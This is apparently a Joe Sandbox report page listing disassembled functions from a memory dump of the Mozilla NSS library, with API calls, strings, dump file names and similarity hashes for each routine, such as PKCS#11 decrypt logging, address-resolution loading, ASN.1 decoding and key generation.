Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CBAA9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBAA9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBAAA03

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBAAA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CBAAA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CBAAA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CBAAA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CBAAA87

Strings

(CK_INVALID_HANDLE), xrefs: 6CBAA9FC
C_DecryptMessageBegin, xrefs: 6CBAA9C1
hSession = 0x%x, xrefs: 6CBAA9DE, 6CBAA9EE
pParameter = 0x%p, xrefs: 6CBAAA35
ulAssociatedDataLen = 0x%p, xrefs: 6CBAAA82
ulParameterLen = 0x%p, xrefs: 6CBAAA50
pAssociatedData = 0x%p, xrefs: 6CBAAA69

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: 99f51c918c5e13dd30f26fdea64dfeb85f61b78bb3ca4df827745ce1d04fc43e
Instruction ID: ebecd19eca1a740fa97cc719aa64e4372b46f0f38c521fc3d6ade88087428f86
Opcode Fuzzy Hash: 99f51c918c5e13dd30f26fdea64dfeb85f61b78bb3ca4df827745ce1d04fc43e
Instruction Fuzzy Hash: 1131E635602195BFDB00DF94DD58F9EBBB1EB4631DF488065E80897A11E730AC49CFA1

Function 6CC3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC3CC7B), ref: 6CC3CD7A

Part of subcall function 6CC3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CBAC1A8,?), ref: 6CC3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC3CD8E

Part of subcall function 6CB605C0: PR_EnterMonitor.NSS3 ref: 6CB605D1
Part of subcall function 6CB605C0: PR_ExitMonitor.NSS3 ref: 6CB605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC3CE48

Strings

getaddrinfo, xrefs: 6CC3CD88, 6CC3CDF9
ws2_32.dll, xrefs: 6CC3CD75
freeaddrinfo, xrefs: 6CC3CD9F, 6CC3CE10
wship6.dll, xrefs: 6CC3CDE3
getnameinfo, xrefs: 6CC3CDB2, 6CC3CE23

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c8704e220cb2e25c6420ce408c5cdf6e66c7d4dd052020019e47ee20dbe4c013
Instruction ID: 48efd49cd4d6904a66a479b95023b93cbb53a19732847ad6a742f3943fc6800c
Opcode Fuzzy Hash: c8704e220cb2e25c6420ce408c5cdf6e66c7d4dd052020019e47ee20dbe4c013
Instruction Fuzzy Hash: 4C11D6F5E0217212DB0176BFBC1499E39689B0231DF185639F809D1F41FB21D90AC7E6

Function 6CBD6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCA1DE0,?), ref: 6CBD6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBD6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CBD6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CBD6D82
DER_GetInteger_Util.NSS3(?), ref: 6CBD6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBD6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CBD6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CBD6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CBD6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CBD6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBD7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CBD7033
free.MOZGLUE(?), ref: 6CBD703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CBD7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CBD7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CBD70AF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: a4d5a06064bc363c256233f76cd983cfcdbf4a4f1f4431d705eb568fa9b0f158
Instruction ID: 5668d170f6b37ef4a4fc395b5d19af38a5b996708ade0d52b542c06f035f3eed
Opcode Fuzzy Hash: a4d5a06064bc363c256233f76cd983cfcdbf4a4f1f4431d705eb568fa9b0f158
Instruction Fuzzy Hash: 21A1F6719086C19BEB008F24DC45BAB32A4DB8130CF268D39E959DBB81F775F8498793

Function 6CB9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9AF39
PR_Unlock.NSS3(?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9AF69
TlsGetValue.KERNEL32 ref: 6CB9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CB9B083
PR_Unlock.NSS3(?), ref: 6CB9B0A4
TlsGetValue.KERNEL32 ref: 6CB9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CB9B0D9
PR_Unlock.NSS3 ref: 6CB9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB9B182

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB9B177

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB7AB95,00000000,?,00000000,00000000,00000000), ref: 6CB9B1C2

Part of subcall function 6CBC1560: TlsGetValue.KERNEL32(00000000,?,6CB90844,?), ref: 6CBC157A
Part of subcall function 6CBC1560: EnterCriticalSection.KERNEL32(?,?,?,6CB90844,?), ref: 6CBC158F
Part of subcall function 6CBC1560: PR_Unlock.NSS3(?,?,?,?,6CB90844,?), ref: 6CBC15B2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 7f591564b96fc09f8c441d020eb80f49053a0cc2ca60afc0a06803637324d3e5
Instruction ID: 646ff63bbbfbd324ae66d5be2a6064a8db7150fc38133ae236297ad010c9b65f
Opcode Fuzzy Hash: 7f591564b96fc09f8c441d020eb80f49053a0cc2ca60afc0a06803637324d3e5
Instruction Fuzzy Hash: 8CA1A0B5E002459BEF009F64DC41BEEBBB4EF06308F144139E909A7751E731E959CBA2

Function 6CC4A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CC4A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CC4A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CC4A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC4A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CC4A69A

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC4A61D, 6CC4A68B, 6CC4A6B3
%s at line %d of [%.10s], xrefs: 6CC4A62C
database corruption, xrefs: 6CC4A627

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 99981be0fe8dfc0f082032e38a651adc82b2f9dd762c03b64d33d7b71b7cfc5c
Instruction ID: 81b6c2aec9171f773ceed46d96b098f9e3e7bee82176c9e6df299641e281cd27
Opcode Fuzzy Hash: 99981be0fe8dfc0f082032e38a651adc82b2f9dd762c03b64d33d7b71b7cfc5c
Instruction Fuzzy Hash: BB5183B5909300AFDB019F25D890A9B7BE0AF8431CF04C87DF8495BA51F775D994CB92

Function 6CB745B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6CB71984,?), ref: 6CB745F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB745FB

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6CB7461E

Part of subcall function 6CBCFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CB74101,00000000,?,?,?,6CB71666,?,?), ref: 6CBCFCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6CB74646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB74662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CB7467A
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB74691
PL_FreeArenaPool.NSS3 ref: 6CB746A3
PL_FinishArenaPool.NSS3 ref: 6CB746AB
free.MOZGLUE(?), ref: 6CB746BC
PORT_ZAlloc_Util.NSS3(?), ref: 6CB746E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB74717

Strings

security, xrefs: 6CB745EC

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: e7d987dded3340e956c1ccc7fb6daa9634e1338fa664a07e20e82949533f5086
Instruction ID: 83476b02f4fb3bc318c80e1807cbcc167e0ddc7525fc7eafef6d16a546383aa1
Opcode Fuzzy Hash: e7d987dded3340e956c1ccc7fb6daa9634e1338fa664a07e20e82949533f5086
Instruction Fuzzy Hash: 574117B29043906BD7208A659C40B5B77A8EF4436DF050A68EC29A3B45F731E514CFE7

Function 6CBEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBEADB1

Part of subcall function 6CBCBE30: SECOID_FindOID_Util.NSS3(6CB8311B,00000000,?,6CB8311B,?), ref: 6CBCBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBEAE08

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEAE25
PL_FreeArenaPool.NSS3 ref: 6CBEAE63
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CBEAE4D

Part of subcall function 6CAF4C70: TlsGetValue.KERNEL32(?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4C97
Part of subcall function 6CAF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CB0
Part of subcall function 6CAF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBEAE93
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CBEAECC
PL_FreeArenaPool.NSS3 ref: 6CBEAEDE
PL_FinishArenaPool.NSS3 ref: 6CBEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBEAEF5
PL_FinishArenaPool.NSS3 ref: 6CBEAF16

Strings

security, xrefs: 6CBEADEE

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: bd705159f7d30a101577bb9f045196bc996ed948946cb0587e69f2ce8822764b
Instruction ID: 0c9f0dc6fc2ce2dff82d8a15f3623777141d9a30d752a3a543786c20912564e0
Opcode Fuzzy Hash: bd705159f7d30a101577bb9f045196bc996ed948946cb0587e69f2ce8822764b
Instruction Fuzzy Hash: BA4129B190429067EB204B149C45BAE3ABCEF4AB5CF210525E815D6F81F735E948CED3

Function 6CBDE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CBDE853,?,FFFFFFFF,?,?,6CBDB0CC,?,6CBDB4A0,?,00000000), ref: 6CBDE8D9

Part of subcall function 6CBD0D30: calloc.MOZGLUE ref: 6CBD0D50
Part of subcall function 6CBD0D30: TlsGetValue.KERNEL32 ref: 6CBD0D6D

Part of subcall function 6CBDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBDDAE2,?), ref: 6CBDC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CBDE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CBDE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBDEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CBDEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CBDEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBDEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CBDEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBDEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CBDEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CBDEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CBDEBEC
free.MOZGLUE(00000000), ref: 6CBDEC58

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 4542fbf7e0e072c7cb40cc7b32ca64d64d834f2796aad300a0000cf15194b964
Instruction ID: d025d65a7632f928dd93da2080367b7f60809aedb0e87af3f5d58f68366bff85
Opcode Fuzzy Hash: 4542fbf7e0e072c7cb40cc7b32ca64d64d834f2796aad300a0000cf15194b964
Instruction Fuzzy Hash: BCC165B5E016C59BEB00CFA5D881BAEB7B4EF04318F1A0469E90697751E731F944CBD2

Function 6CBA6AF0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6CBA6B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA6B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA6B53

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA6B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6CBA6B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6CBA6BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6CBA6C0A

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA6B4C
pLastPart = 0x%p, xrefs: 6CBA6B80
hSession = 0x%x, xrefs: 6CBA6B2E, 6CBA6B3E
*pulLastPartLen = 0x%x, xrefs: 6CBA6C05
pulLastPartLen = 0x%p, xrefs: 6CBA6B9B
C_DecryptFinal, xrefs: 6CBA6B11

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal
API String ID: 1003633598-2565524109
Opcode ID: 3cc06c868373f8b516287df35c92c8ead22743498248560810c228da257873fb
Instruction ID: 68e9b4f08c4d993c0e96cb13307ea7f02bff31484ec30892000c337e48e8eaa4
Opcode Fuzzy Hash: 3cc06c868373f8b516287df35c92c8ead22743498248560810c228da257873fb
Instruction Fuzzy Hash: 9831F671606195BFDB009F98DC59F8E7BB5EB4630EF484065E908D7A11EB30AC4AC752

Function 6CBB29A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CB86A5E,00000001,00000000,?,6CB86540,?,0000000D,00000000), ref: 6CBB2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB86A5E,00000001,00000000,?,6CB86540,?,0000000D,00000000), ref: 6CBB2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CB86A5E,00000001,00000000,?,6CB86540,?,0000000D), ref: 6CBB2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB86A5E,00000001), ref: 6CBB2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB86A5E,00000001,00000000), ref: 6CBB2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB86A5E,00000001), ref: 6CBB2ADF
PR_Unlock.NSS3(?), ref: 6CBB2B38
PR_Unlock.NSS3(?), ref: 6CBB2B8B

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CB86A5E,00000001,00000000,?,6CB86540,?,0000000D,00000000,?), ref: 6CBB2CA2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
